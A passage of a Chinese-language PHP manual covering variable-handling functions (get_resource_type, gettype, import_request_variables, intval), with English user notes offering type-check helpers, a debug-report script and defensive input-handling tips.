    // Get the last SQL error for good measure, where $link is the resource identifier
    // for mysql_connect. Comment out or modify for your database or abstraction setup.
    global $link;
    $sql_error=mysql_error($link);
    if($sql_error){
      $message.="\nMysql Messages:\n".mysql_error($link);
    }
    // End MySQL

    // Could use a recursive function here. You get the idea ;-)
    foreach($defined_vars as $key=>$val){
      if(is_array($val) && !in_array($key,$ignorelist) && count($val) > 0){
        $message.="\n$key array (key=value):\n";
        foreach($val as $subkey=>$subval){
          if(!in_array($subkey,$ignorelist) && !is_array($subval)){
            $message.=$subkey." = ".$subval."\n";
          }
          elseif(!in_array($subkey,$ignorelist) && is_array($subval)){
            foreach($subval as $subsubkey=>$subsubval){
              if(!in_array($subsubkey,$ignorelist)){
                $message.=$subsubkey." = ".$subsubval."\n";
              }
            }
          }
        }
      }
      elseif(!is_array($val) && !in_array($key,$ignorelist) && $val){
        $message.="\nVariable ".$key." = ".$val."\n";
      }
    }

    if($method=="browser"){
      echo nl2br($message);
    }
    elseif($method=="email"){
      if($email=="undefined"){
        $email=$_SERVER["SERVER_ADMIN"];
      }

      $mresult=mail($email,"Debug Report for ".$_ENV["HOSTNAME"]."",$message);
      if($mresult==1){
        echo "Debug Report sent successfully.\n";
      }
      else{
        echo "Failed to send Debug Report.\n";
      }
    }
}
?>
jgettys at gnuvox dot com 22-Feb-2002 07:09
Simple routine to convert a get_defined_vars object to XML.

<?php
function obj2xml($v, $indent='') {
  while (list($key, $val) = each($v)) {
    if ($key == '__attr') continue;
    // Check for __attr
    if (is_object($val->__attr)) {
      while (list($key2, $val2) = each($val->__attr)) {
        $attr .= " $key2=\"$val2\"";
      }
    }
    else $attr = '';
    if (is_array($val) || is_object($val)) {
      print("$indent<$key$attr>\n");
      obj2xml($val, $indent.'  ');
      print("$indent</$key>\n");
    }
    else print("$indent<$key$attr>$val</$key>\n");
  }
}

//Example object
$x->name->first = "John";
$x->name->last = "Smith";
$x->arr['Fruit'] = 'Bannana';
$x->arr['Veg'] = 'Carrot';
$y->customer = $x;
$y->customer->__attr->id='176C4';

$z = get_defined_vars();
obj2xml($z['y']);
?>

will output:
<customer id="176C4">
  <name>
    <first>John</first>
    <last>Smith</last>
  </name>
  <arr>
    <Fruit>Bannana</Fruit>
    <Veg>Carrot</Veg>
  </arr>
</customer>


返回资源（resource）类型

  • ? get_defined_vars
  • gettype ?
  • PHP Manual
  • Variable handling 函数
  • 返回资源（resource）类型

get_resource_type

(PHP 4 >= 4.0.2, PHP 5, PHP 7)

get_resource_type — 返回资源（resource）类型

描述

get_resource_type ( resource $handle ) : string

此函数返回一个字符串，用于表示传递给它的 resource 的类型。如果参数不是合法的 resource，将产生错误。

<?php
$c = mysql_connect();
echo get_resource_type($c)."\n";
// 打印：mysql link

$fp = fopen("foo","w");
echo get_resource_type($fp)."\n";
// 打印：file

$doc = new_xmldoc("1.0");
echo get_resource_type($doc->doc)."\n";
// 打印：domxml document
?>

User Contributed Notes

CertaiN 17-Jan-2014 05:04
Try this to know behavior:

<?php
function resource_test($resource, $name) {
    echo
        '[' . $name. ']',
        PHP_EOL,
        '(bool)$resource => ',
        $resource ? 'TRUE' : 'FALSE',
        PHP_EOL,
        'get_resource_type($resource) => ',
        get_resource_type($resource) ?: 'FALSE',
        PHP_EOL,
        'is_resoruce($resource) => ',
        is_resource($resource) ? 'TRUE' : 'FALSE',
        PHP_EOL,
        PHP_EOL
    ;
}

$resource = tmpfile();
resource_test($resource, 'Check Valid Resource');

fclose($resource);
resource_test($resource, 'Check Released Resource');

$resource = null;
resource_test($resource, 'Check NULL');
?>

It will be shown as...

[Check Valid Resource]
(bool)$resource => TRUE
get_resource_type($resource) => stream
is_resoruce($resource) => TRUE

[Check Released Resource]
(bool)$resource => TRUE
get_resource_type($resource) => Unknown
is_resoruce($resource) => FALSE

[Check NULL]
(bool)$resource => FALSE
get_resource_type($resource) => FALSE
Warning:  get_resource_type() expects parameter 1 to be resource, null given in ... on line 10
is_resoruce($resource) => FALSE
avp200681 at gmail dot com 13-Jun-2011 03:11
This function will generate an error and return NULL instead FALSE in the next example:

<?php

$var = 3;
var_dump(get_resource_type($var));

?>
hessodreamy at gmail dot com 29-May-2007 04:07
Furthermore, this function returns 'stream' on php 4.3 on windows & linux.
You if you want to differentiate between a file resource and other stream resources, as stated before stream_get_meta_data() gives you an array which, on my system, contains the following elements which might suggest a file handle:
[wrapper_type] => plainfile
[stream_type] => STDIO

However I've only compared this to a stream from a url, so I include this only as a suggestion.
jdhawk _at_ gmail 05-Oct-2005 01:18
In PHP5 (on Linux), the above example identifies the "file" handler as a 'stream', not 'file'.

This can be particularly worrisome if you're trying to determine the type of stream using this function.

The alternative is to use <?php stream_get_meta_data() ?>, which returns an array containing "stream_type (string) - a label describing the underlying implementation of the stream."


获取变量的类型

  • ? get_resource_type
  • import_request_variables ?
  • PHP Manual
  • Variable handling 函数
  • 获取变量的类型

gettype

(PHP 4, PHP 5, PHP 7)

gettype — 获取变量的类型

描述

gettype ( mixed $var ) : string

返回 PHP 变量的类型 var.

Warning

不要使用 gettype() 来测试某种类型，因为其返回的字符串在未来的版本中可能需要改变。此外，由于包含了字符串的比较，它的运行也是较慢的。

使用 is_* 函数代替。

返回的字符串的可能值为：

  • "boolean"（从 PHP 4 起）
  • "integer"
  • "double"（由于历史原因，如果是 float 则返回"double"，而不是"float"）
  • "string"
  • "array"
  • "object"
  • "resource"（从 PHP 4 起）
  • "NULL"（从 PHP 4 起）
  • "user function"（只用于 PHP 3，现已停用）
  • "unknown type"

对于 PHP 4，你应该使用 function_exists()
和 method_exists()
取代先前将 gettype()
作用于函数的用法。

参见 settype()、is_array()、is_bool()、is_float()、is_integer()、is_null()、is_numeric()、is_object()、is_resource()、is_scalar() 和 is_string()。

User Contributed Notes

samokspv1 at gmail dot com 26-Feb-2019 11:38
Result from this post http://php.net/manual/en/function.gettype.php#56662 for new PHP 7.2.10:

<?php
$number = 5/0;
$number2 = sqrt(-3);
$number3 = pow(0, 0);
$number4 = 0/0;

echo $number."<br />";
echo $number2."<br />";
echo $number3."<br />";
echo $number4."<br />";
echo "<br />";
echo gettype($number)."<br />";
echo gettype($number2)."<br />";
echo gettype($number3)."<br />";
echo gettype($number4);
?>

This will return:
INF
NAN
1
NAN

double
double
integer
double
ddr-2kpp (at) web dot de 10-Jan-2015 12:16
Hi there,

this fastest solution I found to identify a variable type without using gettype function:
<?PHP
function typeof($var) {
  if (is_object($var))
    return "object";

  if (is_resource($var))
    return "resource";

  return (($var === null) ? "null" :
      (((bool)$var === $var) ? "bool" :
       (((float)$var === $var) ? "float" :
        (((int)$var === $var) ? "int" :
         (((string)$var === $var) ? "string" :
              "unknown"
          )
         )
        )
       )
      );
}
?>
Maybe someone has a more elegant solution to check for object and resource types...

The complete script - including several identify- and timing functions follow:
#!/usr/bin/php
<?PHP
function typeof_trinary($var) {
  if (is_object($var))
    return "object";

  if (is_resource($var))
    return "resource";

  return (($var === null) ? "null" :
      (((bool)$var === $var) ? "bool" :
       (((float)$var === $var) ? "float" :
        (((int)$var === $var) ? "int" :
         (((string)$var === $var) ? "string" :
              "unknown"
          )
         )
        )
       )
      );
   }

function typeof_if_query($var) {

  if (is_object($var))
    return "object";

  if (is_resource($var))
    return "resource";

  if ((bool)$var === $var)
      return "bool";

  if ((float)$var === $var)
    return "float";

  if ((int)$var === $var)
    return "int";

  if ((string)$var === $var)
    return "string";

  if (null === $var)
    return "null";

  return "unknown";
}

function typeof_gettype($var) {
    return \gettype($var);
}

$var = 100;

echo "start@ " . \date("Y-m-d H:i:s") . "\n";
echo "\$var = $var - gettype(\$var) = " . gettype($var) . "\n\n";
$time = -\microtime(true);

echo "typeof_if_query(\$var) = " . typeof_if_query($var) . "\n";
$time += \microtime(true);
echo "duration: " . \sprintf("%0.10f",$time) . "\n\n";

$time = -\microtime(true);

echo "typeof_gettype(\$var) = " . typeof_gettype($var) . "\n";
$time += \microtime(true);
echo "duration: " . \sprintf("%0.10f",$time) . "\n\n";

$time = -\microtime(true);

echo "typeof_trinary(\$var) = " . typeof_trinary($var) . "\n";
$time += \microtime(true);
echo "duration: " . \sprintf("%0.10f",$time) . "\n\n";
?>

My console output - try the script several times!:
$ ./gettype.php
start@ 2015-01-10 01:10:37
$var = 100 - gettype($var) = integer

typeof_if_query($var) = int
duration: 0.0000500679

typeof_gettype($var) = integer
duration: 0.0000309944

typeof_trinary($var) = int
duration: 0.0000240803
wojciech dot fornal at gmail dot com 28-Jun-2014 11:55
@langpavel at phpskelet dot org

Doesn't the gettype return the string already? Using get_class seems to be the only "useful" part of that solution. All that can be reduced to somewhere half in terms of the amount of code.
Wilson212 01-Jul-2011 07:20
I did some benchmarking and your method here is alot slower then using the actual gettype(); (Using php 5.3.4)
langpavel at phpskelet dot org 01-Jun-2011 08:20
This function returns string representation of type. This is generalization of get_class(). I try to order is_* tests by density of occurence, but is bad idea to use result of this call in conditions for performance reasons, usefull and better than gettype for debugging messages.
Note, that last line should not be never executed.
Also has no sense to make input parameter optional.

<?php
function get_type($var)
{
    if(is_object($var))
        return get_class($var);
    if(is_null($var))
        return 'null';
    if(is_string($var))
        return 'string';
    if(is_array($var))
        return 'array';
    if(is_int($var))
        return 'integer';
    if(is_bool($var))
        return 'boolean';
    if(is_float($var))
        return 'float';
    if(is_resource($var))
        return 'resource';
    //throw new NotImplementedException();
    return 'unknown';
}
?>
PPKu-N0-SPAM-schy at mediasoft-berlin dot de 29-Nov-2010 06:57
After some testing I found a bug in my function "myGetType":
The check for "is_callable" was done before "is_string", so that something like <?php echo myGetType("max"); ?> would output: "function reference" instead of "string"

"is_callable" and "is_string" can't be checked together in this method, so I've removed the check for is_callable because it's a very rare usage case and if it's a valid string the check for is_callable never executes because is_string would be reached first (or vice-versa).

So here is the new function without "is_callable"-Check:
<?php
    /**
     * Returns the type of the var passed.
     *
     * @param mixed $var Variable
     * @return string Type of variable
     */
    function myGetType($var)
    {
        if (is_array($var)) return "array";
        if (is_bool($var)) return "boolean";
        if (is_float($var)) return "float";
        if (is_int($var)) return "integer";
        if (is_null($var)) return "NULL";
        if (is_numeric($var)) return "numeric";
        if (is_object($var)) return "object";
        if (is_resource($var)) return "resource";
        if (is_string($var)) return "string";
        return "unknown type";
    }
?>
SoN9ne at gmail dot com 08-Jun-2010 11:32
This is my work around for the gettype warning. Hope some find it useful.

<?php
    /**
     * Returns the type of the passed var
     * - PHP warns against using gettype(), this is my workaround
     *
     * @param mixed $var
     * @return string
     */
    function myGetType($var)
    {
        if (is_array($var)) return "array";
        if (is_bool($var)) return "boolean";
        if (is_callable($var)) return "function reference";
        if (is_float($var)) return "float";
        if (is_int($var)) return "integer";
        if (is_null($var)) return "NULL";
        if (is_numeric($var)) return "numeric";
        if (is_object($var)) return "object";
        if (is_resource($var)) return "resource";
        if (is_string($var)) return "string";
        return "unknown type";
    }
?>

[EDITOR thiago NOTE: Code has been updated by PPKu-N0-SPAM-schy at mediasoft-berlin dot de]
skatebiker at hotmail dot com 22-Feb-2008 05:51
In some rare cases a class instance object returns false when an object but gettype() returns "object".

<?php
$x = new classvar();

$save = serialize($x);

// ......

$obj = unserialize($save);
// here sometimes is_object() returns FALSE
if (is_object($x) || gettype($x) === "object")
{
   // ... do something
}
?>
sneskid at hotmail dot com 05-Mar-2007 01:56
I wrote my own gettype function by just using the default is_? functions, but it took twice as long as gettype... So I decided to use gettype with a twist.

Taking the warnings about gettype to heart, and depending on your custom needs, it's worthwhile to dynamically test the gettype result with a known variable, and link the result to a predefined result. Like so:

<?php
/*
 dynamically create an array by using known variable types
 link with a predefined value
*/
$R=array();
$R[gettype(.0)]='number';
$R[gettype(0)]='number';
$R[gettype(true)]='boolean';
$R[gettype('')]='string';
$R[gettype(null)]='null';
$R[gettype(array())]='array';
$R[gettype(new stdClass())]='object';

// what is
function wis_($v){
    global $R;
    return $R[gettype($v)];
}

echo wis_('hello') . '<br/>'; // "string"
echo wis_(24) . '<br/>'; // "number"
echo wis_(0.24) . '<br/>'; // "number"
echo wis_(null) . '<br/>'; // "null"
echo wis_($R) . '<br/>'; // "array"
?>
You won't need to worry about changes in gettype's return strings in future versions.
If the result evaluates to false then you know the variable tested is some "other" type.

I also find these useful
<?php
function is_num($v){return (is_int($v) || is_double($v));}
function is_box($v){return (is_array($v)||is_object($v));}

echo is_num(null) . '<br/>'; // false
echo is_num(false) . '<br/>'; // false
echo is_num('123') . '<br/>'; // false
echo is_num(123) . '<br/>'; // true
echo is_num(123.0) . '<br/>'; // true
?>
gilthansNOSPAM at gmail dot com 11-Sep-2005 01:18
NaN and #IND will return double or float on gettype, while some inexistent values, like division by zero, will return as a boolean FALSE. 0 by the 0th potency returns 1, even though it is mathematically indetermined.

<?php
$number = 5/0;
$number2 = sqrt(-3);
$number3 = pow(0, 0);
$number4 = 0/0;

echo $number."<br />";
echo $number2."<br />";
echo $number3."<br />";
echo $number4."<br />";
echo "<br />";
echo gettype($number)."<br />";
echo gettype($number2)."<br />";
echo gettype($number3)."<br />";
echo gettype($number4);
?>

This will return:

-1.#IND
1

boolean
double
integer
boolean

0
1
1
0
PHP Warning: Division by zero in C\test.php on line 2 PHP Warning: Division by zero in C:\test.php on line 5
matt at appstate 16-Dec-2004 11:10
Here is something that had me stumped with regards to gettype and is_object.
Gettype will report an incomplete object as such, whereas is_object will return FALSE.

<?php
if (!is_object($incomplete_obj)) {
   echo 'This variable is not an object, it is a/an ' . gettype($incomplete_obj);
}
?>

Will print:
This variable is not an object, it is a/an object


将 GET／POST／Cookie 变量导入到全局作用域中

  • ? gettype
  • intval ?
  • PHP Manual
  • Variable handling 函数
  • 将 GET／POST／Cookie 变量导入到全局作用域中

import_request_variables

(PHP 4 >= 4.1.0, PHP 5 < 5.4.0)

import_request_variables — 将 GET／POST／Cookie 变量导入到全局作用域中

描述

import_request_variables ( string $types [, string $prefix ] ) : bool

将 GET／POST／Cookie 变量导入到全局作用域中。如果你禁止了 register_globals，但又想用到一些全局变量，那么此函数就很有用。

你可以使用 types 参数指定需要导入的变量。可以用字母'G'、'P'和'C'分别表示 GET、POST 和 Cookie。这些字母不区分大小写，所以你可以使用'g'、'p'和'c'的任何组合。POST 包含了通过 POST 方法上传的文件信息。注意这些字母的顺序，当使用"gp"时，POST 变量将使用相同的名字覆盖 GET 变量。任何 GPC 以外的字母都将被忽略。

prefix 参数作为变量名的前缀，置于所有被导入到全局作用域的变量之前。所以如果你有个名为"userid"的 GET 变量，同时提供了"pref_"作为前缀，那么你将获得一个名为 $pref_userid 的全局变量。

如果你对导入其它全局变量（例如 SERVER 变量）感兴趣，请考虑使用 extract()。

Note:

虽然 prefix 参数是可选的，但如果不指定前缀，或者指定一个空字符串作为前缀，你将获得一个 E_NOTICE 级别的错误。使用默认错误报告级别是不显示注意（Notice）级别的错误的。

<?php
// 此处将导入 GET 和 POST 变量
// 使用"rvar_"作为前缀
import_request_variables("gP", "rvar_");

echo $rvar_foo;
?>

参见 $_REQUEST、register_globals、预定义变量 和 extract()。

User Contributed Notes

rustamabd at gmail dot com 12-May-2012 04:45
import_request_variables() is gone from PHP since version 5.4.0. A simple plug-in replacement it extract().

For example:

import_request_variables('gp', 'v_');

Can be replaced with:

extract($_REQUEST, EXTR_PREFIX_ALL|EXTR_REFS, 'v');
samb06 at gmail dot com 15-May-2006 04:09
What i do is have a small script in my header file that takes an array called $input, and loops through the array to extract variables. that way the security hole can be closed, as you specify what variables you would like extracted

$input = array('name' => null, 'age' => 26) ;

// 26 is the default age, if $_GET['age'] is empty or not set

function extract_get()
    {
        global $input ;

        if ($input)
            {
                foreach ($input as $k => $v)
                    {
                        if ($_GET[$k] == '' or $_GET[$k] == NULL)
                            {
                                $GLOBALS[$k] = $v ;
                            }
                        else
                            {
                                $GLOBALS = $_GET[$k] ;
                            }
                    }
            }
    }
jason 08-Jul-2005 12:35
reply to ceo AT l-i-e DOT com:

I don't think it's a risk, as all of your request variables will be tagged with the prefix. As long as you don't prefix any of your internal variables with the same, you should be fine.

If someone tries to access an uninitiated security-related variable like $admin_level through request data, it will get imported as $RV_admin_level.
cornflake4 at gmx dot at 10-Jan-2005 02:52
oops, a typo in my comment:

The last line in the second example (the on using the extract() function) should read:

echo $_GET['var']; # prints 1, so $_GET has been unchanged
ceo AT l-i-e DOT com 10-Dec-2004 12:56
Call me crazy, but it seems to me that if you use this function, even WITH the prefix, then you might as well just turn register_globals back on...

Sooner or later, somebody will find a "hole" with your prefixed variables in an un-initialized variable.

Better to import precisely the variables you need, and initialize anything else properly.
brian at enchanter dot net 07-Dec-2004 05:19
import_request_variables does *not* read from the $_GET, $_POST, or $_COOKIE arrays - it reads the data directly from what was submitted. This is an important distinction if, for example, the server has magic_quotes turned on and you massage the data to run stripslashes on it; if you then use import_request_variables, your variables will still have slashes in them.

In other words: even if you say $_GET=""; $_POST=""; then use import_request_variables, it'll still get all the request data.

If you change the contents of $_GET and you then want to bring this data into global variables, use extract($_GET, EXTR_PREFIX_ALL, "myprefix") instead.


获取变量的整数值

  • ? import_request_variables
  • is_array ?
  • PHP Manual
  • Variable handling 函数
  • 获取变量的整数值

intval

(PHP 4, PHP 5, PHP 7)

intval — 获取变量的整数值

说明

intval ( mixed $var [, int $base = 10 ] ) : int

通过使用指定的进制 base 转换（默认是十进制），返回变量 var 的 integer 数值。 intval() 不能用于 object，否则会产生 E_NOTICE 错误并返回 1。

参数

var

要转换成 integer 的数量值

base

转化所使用的进制

Note:

如果 base 是 0，通过检测 var 的格式来决定使用的进制：

  • 如果字符串包括了 "0x" (或 "0X") 的前缀，使用 16 进制 (hex)；否则，
  • 如果字符串以 "0" 开始，使用 8 进制(octal)；否则，
  • 将使用 10 进制 (decimal)。

返回值

成功时返回 var 的 integer 值，失败时返回 0。 空的 array 返回 0，非空的 array 返回 1。

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例，在这样的系统上， intval('1000000000000') 会返回 2147483647。64 位系统上，最大带符号的 integer 值是 9223372036854775807。

字符串有可能返回 0，虽然取决于字符串最左侧的字符。 使用 整型转换 的共同规则。

范例

Example #1 intval() 例子

下面的例子运行于 32 位系统上。

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

注释

Note:

除非 var 是一个字符串，否则 base 不会起作用。

更新日志

版本 | 说明
5.1.0 | 当传入的 var 是 object，将会抛出 E_NOTICE 并返回 1。

参见

  • boolval() - 获取变量的布尔值
  • floatval() - 获取变量的浮点值
  • strval() - 获取变量的字符串值
  • settype() - 设置变量的类型
  • is_numeric() - 检测变量是否为数字或数字字符串
  • 类型转换的判别
  • BCMath 任意精度数学函数

User Contributed Notes

chinmay235 at gmail dot com 10-May-2018 05:57
<?php
echo intval("10 days");          //10
echo intval("days 10");          //0
?>
Anthony 21-Apr-2018 12:28
The binary notation is NOT supported until php7.2
<?php
                         // PHP <7.2 | PHP >=7.2
echo intval(0b11);       //    3     |     3
echo intval(-0b11);      //   -3     |    -3
echo intval('0b11');     //    0     |     0
echo intval('-0b11');    //    0     |     0
echo intval('0b11', 0);  //    0     |     3
echo intval('-0b11', 0); //    0     |    -3
?>
Nibs Niven 13-Nov-2017 10:43
The example is wrong for PHP 7.1

intval('1e10') does not return 1 as the example states, it returns 10000000000. This has broken at least one library I know of (BEncodeLib).
leon at leonidasjp dot nl 27-Jan-2017 03:35
It seems intval is interpreting valid numeric strings differently between PHP 5.6 and 7.0 on one hand, and PHP 7.1 on the other hand.

<?php
echo intval('1e5');
?>

will return 1 on PHP 5.6 and PHP 7.0,
but it will return 100000 on PHP 7.1.
Er.ellison 06-Nov-2015 03:48
i guess one of the important usage of intval is in links , because :
imagine that u have a function that uses get method (for example an integer id ) to retrieve the data from DB ,
so for example if you get "  id=58  " in your link and put that in u'r function that retrieves data from DB , that's fine , it works well
but what if some body put the  "  id=58djkdjsbvjkdsbvjkdbs " in the link ON PURPOSE !
in such situation and condition he will get an Database error
because u'r function retrieves Data from DB
so it good to be use intval in such situations
because if u use that u gonna be sure that what ever that passes from u'r DB related function is just a integer , No text and any strange character !

let me show u by example
$id = 12dfjgdfjgnd;

echo $id  // output will be : 12dfjgdfjgnd
echo intval($id) // output will be  : 12
taylorsarrafian at gmail dot com 11-Jul-2015 04:45
beware:

<?php

   // observe the following
   echo intval( strval( -0.0001 ) ); // 0
   echo intval( strval( -0.00001 ) ); // -1

   // this is because
   echo strval( -0.0001 ); // -.0001
   echo strval( -0.00001 ); // -1.0E-5

   // thus beware when using
   function trunc2_bad( $n ) {
      return intval( strval( $n * 100 ) / 100 );
   }

   // use this instead
   function trunc2_good( $n ) {
      return intval( floatval( strval( $n * 100 )  ) / 100 );
   }

?>
nlong121 at gmail dot com 12-Jul-2014 01:33
As a note using intval() as a check for string comparison will not work

$string="Pork";
$test=intval($string);
echo $test.'=='.$string;
if($string==$test)
    {
    echo '::Test PASS';
    }else{
    echo '::Test FAIL';
    }
if(is_numeric($string))
    {
    echo '::Test PASS';
    }else{
    echo '::Test FAIL';
    }
/*Produces
0==Pork :: Test PASS
is_numeric(Pork) :: Test FAIL
jplevene at netscape dot net 06-Jan-2014 11:40
I have found intval very useful for database security.

If you are passing a value via

- Data from user input
- Data that you have stored RAW on DB (witch is the best way) and you are using on a new sql statment
- Data from unknown/other origin

and the data is supposed to be an integer, I always run it through intval before I put it into the query (or you could use real_escape_string)

This prevents hackers from passing the variable as an SQL statement instead of a number in order to attack your database.
pfreet at gmail dot com 25-Apr-2013 05:27
Do not use intval() when you really want round(). This is due to how PHP handles precision.

echo number_format(8.20*100, 20), "<br />";
echo intval(8.20*100), "<br />";
echo floor(8.20*100), "<br />";
echo round(8.20*100), "<br />";

819.99999999999988631316
819
819
820
espertalhao04 at hotmail dot com 06-Mar-2013 09:58
if you want to take a number from a string, no matter what it may contain, here is a good solution:

<?php
function int($s){return(int)preg_replace('/[^\-\d]*(\-?\d*).*/','$1',$s);}

echo int('j18ugj9hu0gj5hg');
//output: 18
?>
this example returns an int, so it will follow the int rules, and has support for negative values.

<?php
function int($s){return($a=preg_replace('/[^\-\d]*(\-?\d*).*/','$1',$s))?$a:'0';}

echo int('j-1809809808908099878758765ugj9hu0gj5hg');
//output: -1809809808908099878758765
?>

this one returns a string with just the numeric value.
it also supports negative values.

the latter is better when you have a 32 bit system and you want a huge int that is higher than PHP_MAX_INT.
gregrobson at gmail dot com 16-Aug-2012 03:15
I just wanted to be sure that a string was going to be valid if I intval'ed it. This regular expression matches:
0
Any positive integer (no + sign)
Any negative integer (with a - sign)

It does not match a leading 0 or any other character. You are advised to strip out commas, trim the string and check range yourself ;)

<?php
/**
 * Loops through each non-array element and actions a function.
 *
 * @return boolean|integer TRUE if the value matches as an integer, FALSE if
 * an error occured or 0 if not match was found.
 */
public function validate($value)
{
    $value = preg_match('/^(0|(-{0,1}[1-9]\d*))$/', trim($value));

    if ($value == 1)
        return true;
    else
        return $value;
}
?>

If you use intval() now, you are merely changing the data type.
Ken 11-Nov-2011 11:50
Not mentioned elsewhere: intval(NULL) also returns 0.
yves 27-Dec-2010 08:53
The behaviour of intval() is interesting when supplying a base, and you better check your intval base-based expressions, as it is counter-intuitive.
As the example shows
<?php
  intval('42', 8); // => 34
  intval(42, 8);   // => 42 !
?>
PHP considers the 42 as being already an integer, and doesn't apply any conversion. And supplying
<?php
  intval(49, 8);  // => 49 !
?>
produces no error and no warning.
winbill at hotmail dot com 16-Dec-2010 08:31
Be careful :

<?php
$n="19.99";
print intval($n*100); // prints 1998
print intval(strval($n*100)); // prints 1999
?>
jeremy at cfegames dot com 11-Aug-2010 07:41
When retrieving numbers or integers from a MySQL DB, it's best to use intval(), or it will continue to be a string.

<?php
while($row = mysql_fetch_array($check)
{
 $_SESSION['id'] = inval($row['id']);
 $user_id = intval($_SESSION['id']); // Not sure if you need to do it again, but doesn't hurt.
}

is_int($_SESSION['id'])
is_int($user_id)
is_string($_SESSION['id'])
is_string($user_id)

// Output
true
true
false
false
?>
spoon_reloaded at gmail dot com 21-Jun-2009 10:35
Here is a really useful undocumented feature:

You can have it automatically deduce the base of the number from the prefix of the string using the same syntax as integer literals in PHP ("0x" for hexadecimal, "0" for octal, non-"0" for decimal) by passing a base of 0 to intval():

<?php
echo intval("0x1a", 0), "\n"; // hex; prints "26"
echo intval("057", 0), "\n"; // octal; prints "47"
echo intval("42", 0), "\n"; // decimal; prints "42"
?>
bert at nospam dot thinc dot nl 06-Jun-2009 04:16
If you need the reverse function of intval(), the code hereunder might be helpfull.

<?php
function itoa( $ii, $radix=10, $stritoa="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabc" ) {
    if ( $radix > strlen( $stritoa ) )    //    does request makes sense?
        return "";    //    think of your own way to handle this case
    $sign = $ii<0 ? "-": "";
    $ii = abs( $ii );
    $rc = "";
    do {
        $rc .= $stritoa[ $ii % $radix ];
        $ii = floor( $ii / $radix );
        } while ( $ii >0 );
    return $sign . strrev( $rc );
    }
?>
ittasks at gmail dot com 24-Mar-2009 01:47
when converting some optional form values to positive integers and to be on the safe side, you can use this:

<?php $q=intval("0".$_REQUEST['q']); ?>
Seally 28-Aug-2008 02:47
Re: nobodyisperfect88 at hotmail dot de
jay at w3prodigy dot com had it right. I believe it is an issue with the floating point registers on computers, which have a precision of about 17 digits. When you get more precise than that, it rounds.

Since the second example can fit in the register, no rounding occurs, and PHP can truncate the portion after the decimal. However, the system automatically rounds the first example to 1, which is what PHP returns.

(Tested on Windows XP 32bit)
yhoko at yhoko dot com 16-Aug-2008 07:29
Note that this function behaves different in PHP4/5 when parsing NAN-values. Try the following example:

<?php die( "Result = " . intval( NAN ) ); ?>

- In PHP 4 the result is 0
- In PHP 5 the result is 2^31 (running on 32bit)

Yhoko
phpben hood id au 10-Jun-2008 05:17
kris at mha dot ca:

Implicit typing. This is a feature, not a bug.

The == operator will convert your string to an int automatically (in this case) so that it is really comparing 123 and 123, which is of course the same.

If you use the === operator then this will not occur, as it will only match on the same value and type. This works as expected:

<?php

$tmp_array = "123,232,141";

if (intval($tmp_array) === $tmp_array)
{
    echo "'".intval($tmp_array)."' equals '$tmp_array'\n";
}
else
{
    echo "'".intval($tmp_array)."' does not equal '$tmp_array'\n";
}

?>
jay at w3prodigy dot com 25-Mar-2008 12:05
Note:

$int = 0.99999999999999999;
echo intval($int); // returns 1

and

$int = 0.9999999999999999;
echo intval($int); // returns 0
michiel ed thalent nl 11-Dec-2007 05:44
A function to get an integer from everywhere in a string (concatenated or not).

<?php
function str2int($string, $concat = true) {
    $length = strlen($string);
    for ($i = 0, $int = '', $concat_flag = true; $i < $length; $i++) {
        if (is_numeric($string[$i]) && $concat_flag) {
            $int .= $string[$i];
        } elseif(!$concat && $concat_flag && strlen($int) > 0) {
            $concat_flag = false;
        }
    }

    return (int) $int;
}
echo var_dump(str2int('sh12apen11')); // int(12)
echo var_dump(str2int('sh12apen11', false)); // int(1211)
echo var_dump(str2int('shap99en')); // int(99)
echo var_dump(intval('shap99en')); // int(0)
?>
lrdsatyr8 at hotmail dot com 31-Oct-2007 05:09
If you just want to get the integer value of a number without all the hassle, just use intval()... like so:

$a1 = 10.4;
$a2 = -12.5;
$a3 = 44.1238503;

print intval($a1);   // returns 10
print intval($a2);   // returns -12
print intval($a3);   // returns 44

it's that easy!
jazeik at gmail dot com 31-Jul-2007 06:15
@kris:
If you had followed the following links:
"The common rules of integer casting apply." => http://us.php.net/manual/en/language.types.integer.php
"See String conversion to numbers" => http://us.php.net/manual/en/language.types.integer.php

Then you would have found the following: "The value is given by the initial portion of the string. If the string starts with valid numeric data, this will be the value used."

So this behaviour is a feature not a bug.

The following code will work:
<?php

$tmp_array = str_replace(",", "", "123,232,141");

if(intval($tmp_array) == $tmp_array){
    echo intval($tmp_array) . " equals $tmp_array\n";
}else{
    echo intval($tmp_array) . " does not equal $tmp_array\n";
}

?>

Output:
123232141 equals 123232141
vizigr0u at gmail dot com 23-Jun-2007 04:50
intval used on bools returns either 1 or 0
I usually use this to properly set bools in my tables
(assuming you use some kind of int like tinyints as booleans) :
<?php
$myvar = 'right value';
mysql_query('INSERT INTO mytable (activated)
VALUES(' . intval($myvar === 'right value') . ')');
?>
aryel at redtwilightNO dot comSPAM dot brNOT 26-Apr-2007 10:42
Since integers are stored on multiple bytes in the memory in binary format, once an signed long integer reaches the maximum value of 2147483646 (which is the maximum value that 8 bits of memory, size of a long int, can store, binary-wise), atleast on C/C++ the number starts to roll back, going gradually to ...45, ...45 and eventually reaching a negative value. Some REALLY large values will return -1, probably because PHP simply rejects the number, though I'm not sure why.

For further info:
http://www.rwc.uc.edu/koehler/comath/13.html
maciek dot iwanowskis at glasspartnership dot co dot uk 04-Apr-2007 10:36
It seems that if you're trying to cast to integer (or use intval()) on integer of value bigger then 2147483646 it's hard to predict returned value.
27-Apr-2006 10:36
Operating on integers gives puzzling results--which don't seem to have to do with the number of bits...

<?php
echo intval(1e10);  // -1 on my system; 1410065408 in the example
echo intval(1e5); // 100000 (my own example: lower number--works all right)
echo intval(4e9);  // -294967296 ! (my own example: somewhere in the middle)

echo intval(42000000);  // 42000000 (as in the manual; reasonable)
echo intval(420000000000000000000);  // -1 on my system at least. 0 in the example
// ...and yet still odder...
echo intval(4200000000);  // -94967296! (my own example: somewhere in between)
?>
